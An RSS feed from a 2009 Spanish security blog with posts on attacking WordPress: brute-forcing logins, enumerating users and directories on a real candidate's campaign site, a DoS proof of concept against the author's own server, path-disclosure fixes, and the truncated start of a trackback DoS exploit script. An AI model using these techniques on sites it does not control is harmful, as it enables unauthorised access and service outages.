<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>El rincón de Zerial &#187; pwnpress</title>
	<atom:link href="http://blog.zerial.org/tag/pwnpress/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.zerial.org</link>
	<description>Informática, GNU/Linux, Seguridad, Hacking, Programación, Ocio</description>
	<lastBuildDate>Tue, 03 Jan 2012 00:13:53 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Ataque de fuerza bruta a WordPress</title>
		<link>http://blog.zerial.org/seguridad/ataque-de-fuerza-bruta-a-wordpress/</link>
		<comments>http://blog.zerial.org/seguridad/ataque-de-fuerza-bruta-a-wordpress/#comments</comments>
		<pubDate>Mon, 07 Dec 2009 12:29:07 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[brute force]]></category>
		<category><![CDATA[cracking]]></category>
		<category><![CDATA[fuerza bruta]]></category>
		<category><![CDATA[login]]></category>
		<category><![CDATA[pwnpress]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wp]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1175</guid>
		<description><![CDATA[Los ataques por fuerza bruta a instalaciones WordPress son un tanto faciles, ya que es muy sencillo determinar los usuarios del sistema y no tiene sistemas de protección de Throttling Login Attempts o límite de intentos de ingreso, lo cual nos permite hacer éste tipo de ataques. Determinar los nombres de usuarios es tan sencillo [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-medium wp-image-1196" style="margin: 4px;" title="bruteforce" src="http://blog.zerial.org/wp-content/uploads/2009/12/bruteforce-300x230.jpg" alt="bruteforce" width="192" height="147" />Los ataques por <em>fuerza bruta</em> a instalaciones WordPress son un tanto faciles, ya que es muy sencillo determinar los usuarios del sistema y no tiene sistemas de protección de <strong>Throttling Login Attempts </strong>o límite de intentos de ingreso, lo cual nos permite hacer éste tipo de ataques.<br />
Determinar los nombres de usuarios es tan sencillo como escribir algún supuesto usuario y llenar el campo de contraseña con cualquier información, cuando presionemos &#8220;Iniciar Sesion&#8221; el sistema nos dirá &#8220;<em>Usuario incorrecto</em>&#8221; si es que el usuario <strong>no</strong> existe o bien &#8220;<em>Password incorrecta</em>&#8220;, en el caso que el usuario <strong>si</strong> exista y el password sea invlálido. Con un ataque distribuido es posible obtener el password de un usuario en particular muy sencillamente, sólo es cosa de tiempo.<br />
Si pensamos hacerlo de forma remota puede que nos tardemos un poco más, pero pensemos desde el mismo lado del servidor, imaginemosnos que tenemos una cuenta en el hosting donde está hospedado el CMS, será todo mucho más fácil y más rápido.</p>
<p><span id="more-1175"></span></p>
<p><img class="alignright size-medium wp-image-949" title="pwnpress" src="http://blog.zerial.org/wp-content/uploads/2009/09/pwnpress-300x214.jpg" alt="pwnpress" width="300" height="214" />Hace un tiempo, yo <a href="http://blog.zerial.org/seguridad/web-login-por-fuerza-bruta/">publiqué un script en php</a> <strong>bastante</strong> sencillo que nos permitía hacer ésto en simples pasos leyendo palabras desde un diccionario, lo interesante de éste script es que no sólo funciona con wordpress, sino con cualquier weblogin &#8220;simple&#8221; e inseguro. Luego encontré un artículo relacionado muy interesante, que hablaba sobre estos tipos de ataques y analizaban un script que encontraron en un servidor, el cual era mucho mas sofisticado y trabajado que el mio, permitia hacer ataques distribuidos desde distintas máquinas y de esta forma aumentar si desempeño más de un 1000% (sí, mil por ciento).</p>
<p>Su funcionamiento (copy&amp;paste):</p>
<blockquote><p>La funcion wp_brute_attempt() toma 3 parámetros, $ch que es la estuctura cURL (cURL es una herramienta de línea de comando que se puede usar para realizar peticiones HTTP ). Los otros dos parámetros definen el sitio y la contraseña que se intentará. Si el script consigue validarse exitosamente, la página que es devuelta por el servidor contendrá la frase &#8220;Log Out&#8221;, y la función devolverá el valor verdadero.</p>
<p>Ahora, lo interesante del script es que permite el cracking distribuido. La información es guardada en una base de datos MySQL y el script realmente se conecta en forma directa a la base de datos principal. Esto permite al atacante correr varios scripts simultáneos &#8211; cada uno de ellos tomará 200 URL nuevas y las marcará con el ID del script forzador ($colo)</p></blockquote>
<p>Encuentro <strong>súper</strong> interesante lo que se hizo y de la forma en que fue pensado, la próxima véz que se me ocurra hacer algo así, lo hare distribuido usando una base de datos accesible remotamente para aumentar el rendimiento y desempeño del script. Si lo llego a hacer, publicaré una prueba de concepto con los resultados.</p>
<p>Fuente en español: <a href="http://blog.segu-info.com.ar/2009/11/instalaciones-de-wordpress-bajo-ataques.html" target="_blank">Segu-Info</a></p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fataque-de-fuerza-bruta-a-wordpress%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/ataque-de-fuerza-bruta-a-wordpress/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/ataque-de-fuerza-bruta-a-wordpress/"  data-text="Ataque de fuerza bruta a WordPress" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/ataque-de-fuerza-bruta-a-wordpress/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Sitios web de candidatos presidenciales al descubierto: MEO</title>
		<link>http://blog.zerial.org/seguridad/sitios-web-de-candidatos-presidenciales-al-descubierto-meo/</link>
		<comments>http://blog.zerial.org/seguridad/sitios-web-de-candidatos-presidenciales-al-descubierto-meo/#comments</comments>
		<pubDate>Sun, 06 Dec 2009 18:50:32 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[meo]]></category>
		<category><![CDATA[pwnpress]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1161</guid>
		<description><![CDATA[Como ya anuncié hace un rato, empezaré con el sitio http://marco2010.cl. Cuando comencé a escribir sobre éste sitio web, existía una vulnerabilidad de descubrimiento del path (Full Path Disclosure) junto a un SQL Injection y un XSS, dentro de un &#8220;plugin&#8221; hecho para las votaciones lo que luego fue corregido, no logré sacar screenshot y [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/seguridad/test-de-seguridad-a-sitios-web-de-cantidados-presidenciales-2010/" target="_blank">Como ya anuncié hace un rato</a>, empezaré con el sitio <strong>http://marco2010.cl</strong>.</p>
<p><img class="size-full wp-image-1164 alignleft" style="margin: 4px;" title="meowned" src="http://blog.zerial.org/wp-content/uploads/2009/11/meowned.png" alt="meowned" width="139" height="78" /></p>
<p>Cuando comencé a escribir sobre éste sitio web, existía una vulnerabilidad de descubrimiento del path (<em>Full Path Disclosure</em>) junto a un <em>SQL Injection</em> y un <em>XSS</em>, dentro de un &#8220;plugin&#8221; hecho para las votaciones lo que luego fue corregido, no logré sacar screenshot y ejemplos para demostrarlo. Que hayan corregido éstos errores es un punto a favor para la seguridad del sitio. Vamos a ver hasta qué punto podemos poner a prueba la seguridad.</p>
<p><span id="more-1161"></span></p>
<p>Es un sitio hecho en WordPress, por lo cual ya sabemos las rutas de los archivos y las posibles vulnerabilidades que podría tener el sitio. Por ejemplo, podemos empezar probando con el clásico wp-login que es el script que nos permite iniciar la sesión, descubrir una lista de usuarios, <a href="http://blog.zerial.org/seguridad/web-login-por-fuerza-bruta/" target="_blank">hacer fuerza bruta</a>, etc. Nos vamos a la URL</p>
<blockquote><p><a href="http://www.marco2010.cl/wp-login.php" target="_blank">http://www.marco2010.cl/wp-login.php</a></p></blockquote>
<p>Y como podemos ver, ya nos aparece el formulario para iniciar la sesión. Para éstos casos, existe un <strong>truco</strong> y es probar siempre con el usuario <em>admin</em>, para ver si lo tienen habilitado, ya que es el único usuario que viene por <strong>defecto</strong>.</p>
<p><img class="aligncenter size-full wp-image-1183" title="wplogin" src="http://blog.zerial.org/wp-content/uploads/2009/12/wplogin.png" alt="wplogin" width="356" height="446" /></p>
<p>Como podemos ver en el recuadro de &#8220;<em>error</em>&#8220;, nos dice que la contraseña es inválida, por ende, asumimos que el usuario está correcto. Ya sabemos que existe el usuario <em>admin</em>, ahora solo falta <a href="http://blog.zerial.org/seguridad/web-login-por-fuerza-bruta/" target="_blank">romper la password</a>. Mientras dejamos un script de fuerza bruta corriendo, tambien podemos intentar averiguar más usuarios dentro del sistema, hasta llegar con alguno que tenga una password más fácil de romper con el cual podamos ganar acceso al <strong>dashboard</strong> del sitio.</p>
<p>Hay que tener en cuenta que ultimamente se han estado realizado muchos ataques por fuerza bruta a distintas instalaciones de wordpress. Pueden leer más sobre esto en el artículo titulado:</p>
<blockquote><p><strong><a href="http://isc.sans.org/diary.html?storyid=7663">Distributed WordPress admin account cracking</a></strong></p></blockquote>
<p>Si bien la mayoría de los sitios en wordpress (incluyendo el mio) tienen este tipo de &#8220;fallo&#8221;, considero que es agujero de seguridad y que debería implementarse por último un <em>htaccess</em>.</p>
<p>Otra cosa que me llamó la atención es que los <strong>desarrolladores</strong> del theme <a href="http://web.marco2010.cl/wp-content/themes/marcoenriquezominami/" target="_blank"><em>marcoenriquezominami</em></a> han <span style="text-decoration: line-through;">desarrollado</span> instalado un sistema de votacion o encuestas el cual lo han dejado dentro del directorio del theme. Toda la gente que ha desarrollado alguna véz en WordPress, sabrá que para éste tipo de cosas, debería crearse un plugin. El sistema que estos tipos descargaron e instalaron es el <strong>Advanced Poll 2.08</strong>, si  buscamos en google podemos ver que las versiones anteriores tienen diversas vulnerabilidades y que para descubrir alguna, basta con que descarguemos el codigo y sepamos como explotar algun fallo no reportado.<br />
La URL para manejar las encuestas es:</p>
<blockquote><p><a href="http://encuestas.marco2010.cl/admin/" target="_blank">http://encuestas.marco2010.cl/admin/</a></p></blockquote>
<p>Si bien lo que les mostraré a continuación no es un &#8220;fallo de seguridad&#8221;, si nos va a permitir  ver cosas que quizá ellos no quieren que veamos, como la lista de archivos subidos, etc. Directory Listing:</p>
<ul>
<li><a href="# http://web.marco2010.cl/wp-content/uploads/" target="_blank">http://web.marco2010.cl/wp-content/uploads/</a></li>
<li><a href="http://web.marco2010.cl/wp-content/plugins/downloads-manager/upload/" target="_blank">http://web.marco2010.cl/wp-content/plugins/downloads-manager/upload/</a></li>
</ul>
<p>Tambien tiene un wiki disponible en http://wiki.marco2010.cl.</p>
<p>Como conclusión, lo único que les puedo decir es que la seguridad del sitio va a depender de la seguridad de WordPress, Advanced Poll y de Wikimedia.<br />
Si bien el sitio es &#8220;seguro&#8221;, será lo suficientemente vulnerable a medida que se vayan publicando bugs de las herramientas que nombré anteriormente.<br />
Por ejemplo, cuando se publicó el <strong>DoS</strong> que afectaba al <em>wp-trackback</em>, éste sitio era completamente vulnerable. Yo mismo lo probé antes de que lo actualizaran.</p>
<p><strong>Actualizado (<em>10-12-2009</em>)</strong> La persona encargada se contactó conmigo y acogieron mis recomendaciones.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fsitios-web-de-candidatos-presidenciales-al-descubierto-meo%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/sitios-web-de-candidatos-presidenciales-al-descubierto-meo/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/sitios-web-de-candidatos-presidenciales-al-descubierto-meo/"  data-text="Sitios web de candidatos presidenciales al descubierto: MEO" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/sitios-web-de-candidatos-presidenciales-al-descubierto-meo/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>[Proof-of-Concept] DoS gracias al script wp-trackbacks de wordpress</title>
		<link>http://blog.zerial.org/seguridad/proof-of-concept-dos-gracias-al-script-wp-trackbacks-de-wordpress/</link>
		<comments>http://blog.zerial.org/seguridad/proof-of-concept-dos-gracias-al-script-wp-trackbacks-de-wordpress/#comments</comments>
		<pubDate>Sun, 18 Oct 2009 22:48:54 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[poc]]></category>
		<category><![CDATA[proof-of-concept]]></category>
		<category><![CDATA[pwnpress]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1033</guid>
		<description><![CDATA[Un par de horas atrás, publiqué un artículo luego de haber leído una publicación de jcarlosn. Me di el tiempo de realizar una prueba de concepto (PoC) usando el exploit que él mismo propone. Si bien el código que él publicó tiene algunos problemas, luego de hacerle un par de modificaciones logré ejecutarlo y analizar [...]]]></description>
			<content:encoded><![CDATA[<p>Un par de horas atrás, <a href="http://blog.zerial.org/seguridad/denial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress/">publiqué un artículo</a> luego de haber leído <a href="http://rooibo.wordpress.com/2009/10/17/agujero-de-seguridad-en-wordpress/" target="_blank">una publicación de jcarlosn</a>. Me di el tiempo de realizar una prueba de concepto (PoC) usando el exploit que él mismo propone. Si bien el código que él publicó tiene algunos problemas, luego de hacerle un par de modificaciones logré ejecutarlo y analizar su comportamiento y ver cómo <em>sufre</em> el servidor objetivo.</p>
<p>Duración de la prueba de concepto: <strong>2 minutos</strong><br />
Sitio o servidor objetivo: <strong>blog.zerial.org</strong><br />
Tipo de exploit: <strong>remoto</strong><br />
Vulnerabilidad: <strong>Resource Exhaustion (DoS)</strong><br />
Descripción: <strong>El servidor comienza a consumir recursos hasta agotarlos, provocando la denegación del servicio.</strong></p>
<p><img class="aligncenter size-full wp-image-1035" title="wpress-test" src="http://blog.zerial.org/wp-content/uploads/2009/10/wpress-test.png" alt="wpress-test" width="344" height="358" /></p>
<p>Ejecuté el exploit en tres consolas distintas de forma simultanea, y al pasar 10 o 15 segundos ya se comenzó a notar el consumo de recursos en el servidor.</p>
<p><span id="more-1033"></span></p>
<p><img class="aligncenter size-full wp-image-1036" title="wpress" src="http://blog.zerial.org/wp-content/uploads/2009/10/wpress.png" alt="wpress" width="521" height="96" /></p>
<p>La carga promedio ya va en <strong>2.83</strong> y el consumo del/los CPU llegando al <strong>100%</strong>, un par de segundos más y &#8230;</p>
<p><img class="aligncenter size-full wp-image-1037" title="wpress2" src="http://blog.zerial.org/wp-content/uploads/2009/10/wpress2.png" alt="wpress2" width="524" height="86" /></p>
<p>La carga promedio ya va en <strong>3.75</strong> y los procesadores están a su <strong>100%</strong>, si se fijan en la memoria está consumiendo <em>408MB de 540</em>, es decir, el servidor ya se está quedando sin recursos. Siguen pasando los segundos &#8230;</p>
<p><img class="aligncenter size-full wp-image-1038" title="wpress3" src="http://blog.zerial.org/wp-content/uploads/2009/10/wpress3.png" alt="wpress3" width="324" height="15" /></p>
<p><img class="aligncenter size-full wp-image-1039" title="wpress4" src="http://blog.zerial.org/wp-content/uploads/2009/10/wpress4.png" alt="wpress4" width="171" height="16" /></p>
<p><strong>458Mb</strong> de ram y <strong>4.25</strong> de carga.</p>
<p>Los logs de apache me muestran las distintas peticiones simultaneas que hace el exploit:</p>
<p><img class="aligncenter size-full wp-image-1040" title="wpress-log" src="http://blog.zerial.org/wp-content/uploads/2009/10/wpress-log.png" alt="wpress-log" width="584" height="54" /></p>
<p>Esta prueba de concepto la realicé con 3 peticiones simultaneas y durante 2 míseros minutos, si aumentamos las instancias del exploit y alargamos un poco mas el periodo de prueba, fácilmente podremos lograr la denegación de servicio en el servidor.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fproof-of-concept-dos-gracias-al-script-wp-trackbacks-de-wordpress%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/proof-of-concept-dos-gracias-al-script-wp-trackbacks-de-wordpress/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/proof-of-concept-dos-gracias-al-script-wp-trackbacks-de-wordpress/"  data-text="[Proof-of-Concept] DoS gracias al script wp-trackbacks de wordpress" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/proof-of-concept-dos-gracias-al-script-wp-trackbacks-de-wordpress/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Más Full Path Disclosure en WordPress y sin solución</title>
		<link>http://blog.zerial.org/seguridad/mas-full-path-disclosure-en-wordpress-y-sin-solucion/</link>
		<comments>http://blog.zerial.org/seguridad/mas-full-path-disclosure-en-wordpress-y-sin-solucion/#comments</comments>
		<pubDate>Sun, 18 Oct 2009 18:53:39 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[fpd]]></category>
		<category><![CDATA[full path disclosure]]></category>
		<category><![CDATA[pwnpress]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1016</guid>
		<description><![CDATA[Hace unos días publiqué un artículo sobre varios plugins que nos permitian ver el directorio completo de la instalación de wordpress (full path disclosure). Luego de esta publicación de una discusión en un hilo de la lista en full disclosure, me llegó un correo donde me comentaban que no sólo eran esos ficheros los que [...]]]></description>
			<content:encoded><![CDATA[<p>Hace unos días publiqué <a href="http://blog.zerial.org/seguridad/vulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress/">un artículo</a> sobre varios plugins que nos permitian ver el directorio completo de la instalación de wordpress (full path disclosure). Luego de esta publicación de una discusión en <a href="http://seclists.org/fulldisclosure/2009/Sep/387" target="_blank">un hilo</a> de la lista en full disclosure, me llegó un correo donde me comentaban que no sólo eran esos ficheros los que tenian esta vulnerabilidad, sino muchos más dentro de todo el sistema de wordpress.<img class="alignright size-medium wp-image-949" style="margin: 2px;" title="pwnpress" src="http://blog.zerial.org/wp-content/uploads/2009/09/pwnpress-300x214.jpg" alt="pwnpress" width="300" height="214" /><br />
En la lista full disclosure y por otros medios, la gente me decia que eso se desactivaba facilmente deshabilitando la opcion &#8220;display errors&#8221; de php (ya sea en el php.ini, htaccess o en el mismo fichero php) pero mi opinión fue siempre la misma: Esta forma de &#8216;solucionarlo&#8217; ocultaría el error pero en ningún caso lo solucionaría, es decir, el problema continuaría estando, pero oculto. Otras personas dieron otro tipo de solución como la de editar los ficheros e incluir una validación de la existencia de algunas constantes o variables que WordPress setea y, de esta forma, saber si el fichero se está ejecutando directamente o mediante wordpress.</p>
<p>Este problema lo reporté a security en wordpress.com el mismo día que hice la publicación pero no obtuve respuesta.</p>
<p>Ahora les mostraré los otros ficheros por los cuales es posible descubrir la ruta completa del sistema y las posibles soluciones que me han palnteado.</p>
<p><span id="more-1016"></span></p>
<p>Dentro del directorio wp-admin/import tenemos varios ficheros php:</p>
<blockquote><p>blogger.php<br />
blogware.php<br />
btt.php<br />
dotclear.php<br />
greymatter.php<br />
jkw.php<br />
livejournal.php<br />
mt.php<br />
opml.php<br />
rss.php<br />
stp.php<br />
textpattern.php<br />
utw.php<br />
wordpress.php<br />
wp-cat2tag.php</p></blockquote>
<p><strong>Todos</strong> vulnerables.<br />
Dentro de wp-admin/includes tenemos los siguientes ficheros vulnerables:</p>
<blockquote><p>admin.php<br />
class-ftp-pure.php<br />
class-ftp-sockets.php<br />
class-wp-filesystem-direct.php<br />
class-wp-filesystem-ftpext.php<br />
class-wp-filesystem-ftpsockets.php<br />
class-wp-filesystem-ssh2.php<br />
comment.php<br />
continents-cities.php<br />
file.php<br />
media.php<br />
misc.php<br />
plugin-install.php<br />
plugin.php<br />
schema.php<br />
template.php<br />
theme-install.php<br />
update.php<br />
upgrade.php<br />
user.php</p></blockquote>
<p>La solución que plantea esta persona es la siguiente:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="kw1">if</span> <span class="br0">&#40;</span> <a href="http://www.php.net/defined"><span class="kw3">defined</span></a><span class="br0">&#40;</span><span class="st0">&#8216;WP_ADMIN&#8217;</span><span class="br0">&#41;</span> or <a href="http://www.php.net/defined"><span class="kw3">defined</span></a><span class="br0">&#40;</span><span class="st0">&#8216;WP_USE_THEMES&#8217;</span><span class="br0">&#41;</span> <span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">;<span class="co1">//coninue</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">else</span><span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2"><a href="http://www.php.net/die"><span class="kw3">die</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p>o bien</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="kw1">if</span> <span class="br0">&#40;</span> <a href="http://www.php.net/defined"><span class="kw3">defined</span></a><span class="br0">&#40;</span><span class="st0">&#8216;ABSPATH&#8217;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/die"><span class="kw3">die</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
</ol>
</div>
<p>Esta persona me comentó que haría una publicación en su sitio web al respecto, pero no la encuentro. Les dejo el enlace a su blog por si las moscas: <a href="http://rollanwar.net" target="_blank">http://rollanwar.net</a></p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fmas-full-path-disclosure-en-wordpress-y-sin-solucion%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/mas-full-path-disclosure-en-wordpress-y-sin-solucion/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/mas-full-path-disclosure-en-wordpress-y-sin-solucion/"  data-text="Más Full Path Disclosure en WordPress y sin solución" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/mas-full-path-disclosure-en-wordpress-y-sin-solucion/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Denial-of-Service (DoS) rápido y de una forma muy sencilla en WordPress</title>
		<link>http://blog.zerial.org/seguridad/denial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress/</link>
		<comments>http://blog.zerial.org/seguridad/denial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress/#comments</comments>
		<pubDate>Sun, 18 Oct 2009 13:50:59 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[dos]]></category>
		<category><![CDATA[pwnpress]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wp]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1014</guid>
		<description><![CDATA[jcarlosn ha descubierto una vulnerabilidad en el fichero wp-trackbacks.php de wordpress, la cual nos permitiría hacer un tipo de denegación de servicio (DoS) con unas cuantas peticiones y sin necesidad de botnets o maquinas zombies. Como él mismo nos cuenta: Este error, es explotable desde cualquier conexión a internet, y no requiere de ordenadores zombies, [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-medium wp-image-949" style="margin: 4px;" title="pwnpress" src="http://blog.zerial.org/wp-content/uploads/2009/09/pwnpress-300x214.jpg" alt="pwnpress" width="126" height="90" /><a href="http://rooibo.wordpress.com/" target="_blank">jcarlosn</a> ha <a href="http://rooibo.wordpress.com/2009/10/17/agujero-de-seguridad-en-wordpress/" target="_blank">descubierto una vulnerabilidad en el fichero <strong>wp-trackbacks.php</strong> de wordpress</a>, la cual nos permitiría hacer un tipo de denegación de servicio (DoS) con unas cuantas peticiones y sin necesidad de botnets o maquinas zombies.<br />
Como él mismo nos cuenta:</p>
<blockquote><p>
Este error, es explotable desde cualquier conexión a internet, y no requiere de ordenadores zombies, ni de nada, son sólo 20 peticiones a lo sumo, desde una línea ADSL convencional, para dejar K.O. a cualquier servidor que hospede un blog basado en wordpress.</p></blockquote>
<p>El problema fue reportado a la seguridad en wordpress.com y no se obtuvo respuesta, luego se intentó comunicar con el creador de wordpress y al pasar un par de días, obtuvo una respuesta de que lo solucionarán en algún momento pero no de la forma que él proponia, sino que ellos mismos buscarán cómo hacerlo.<br />
La misma persona que hizo público este bug, publicó un exploit y una posible solución.</p>
<p><span id="more-1014"></span></p>
<p><strong>El exploit:</strong></p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"> &lt; ?php</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="co1">//wordpress Resource exhaustion Exploit</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="co1">//http://rooibo.wordpress.com/</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="co1">//security@wordpress.org contacted and get a response,</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="co1">//but no solution available.</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/count"><span class="kw3">count</span></a><span class="br0">&#40;</span><span class="re0">$argv</span><span class="br0">&#41;</span> &lt; <span class="nu0">2</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/echo"><span class="kw3">echo</span></a> “You need to specify a url to attack\n”;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/exit"><span class="kw3">exit</span></a>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$url</span> = <span class="re0">$argv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
